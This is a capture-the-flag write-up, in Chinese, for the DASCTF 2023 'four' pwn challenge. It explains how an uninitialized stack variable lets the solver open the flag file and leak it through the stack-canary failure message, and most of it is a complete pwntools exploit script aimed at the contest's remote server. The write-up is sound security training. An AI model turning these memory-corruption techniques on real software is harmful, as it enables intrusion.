DASCTF_2023_4 Pwn
DASCTF_2023_4
four
充满了误导的一道题
五个功能,如下
序号 | 功能 |
---|---|
1 | 得到libc,但是关闭标准输出 |
2 | 栈上大数组填充,可以残留很多数据 |
3 | open(dest,0),dest存在未初始化就使用的情况 |
4 | read(fd,xxx,size),可以读数据进来 |
5 | 溢出,但是有canary |
仔细观察,发现3号功能里面dest,在你输入的filename与output.txt相同时,会未经初始化就被使用。因此如果我们在另一个函数中,提前在这里布置上“flag”字符串,字符串就会在这个函数退出后残留下来,并且在后来的3号功能中成为dest的初始值
于是我们就能open进来flag,另一个功能可以进行读取fd到一个地址,这里地址的传递经历了一个小端与大端的变化。
然后把flag读进来,修改main函数下方保存的文件名指针,再通过canary触发就可以打印出来flag了。
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/Desktop/libc.so.6'
#p=process(ELFpath)
p=remote('node4.buuoj.cn',29954)
e=ELF(ELFpath)
libc=ELF(libcpath)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def cmd(idx):
ru("your choice : ")
sl(str(idx))
def getlibc(size,content):
cmd(1)
ru('address---> 0x')
libcbase=int(r(12),16)-libc.symbols['printf']
LOGTOOL['libcbase']=libcbase
LOGALL()
ru('You can give any value, trust me, there will be no overflow')
sl(str(size))
ru("Actually, this function doesn't seem to be useful")
sl(content)
ru("Really?")
sl("N")
def lr(size,content,choice):
cmd(2)
ru('You can give any value, trust me, there will be no overflow')
sl(str(size))
ru("Actually, this function doesn't seem to be useful")
s(content)
ru("Really?")
s(choice)
def wf(level,mode,X,content,file,choice):
cmd(3)
ru("Enter level:")
sl(str(level))
ru("Enter mode:")
sl(str(mode))
ru("Enter X:")
sl(str(X))
ru("Enter a string: ")
sl(content)
ru("please input filename")
sl(file)
ru("1. yes\n2.no")
sls(choice)
def rf(info):
cmd(4)
ru("info>>")
sl(info)
pay ='uu'*0x2a68
pay+='aaa'*8
pay+='A'
pay =0x5DE0*'c'+'flag\x00\x00\x00\x00'
lr(len(pay)+1,pay,'N')
wf(1,1,1,'aaa','output.txt',0)
info ="~3"
info+="@z*"
info+=":\x60\x21\x10"
rf(info)
pay=0x118*'a'+p64(0x602110)
cmd(5)
ru('This is a strange overflow. Because of canary, you must not hijack the return address')
sl(pay)
it()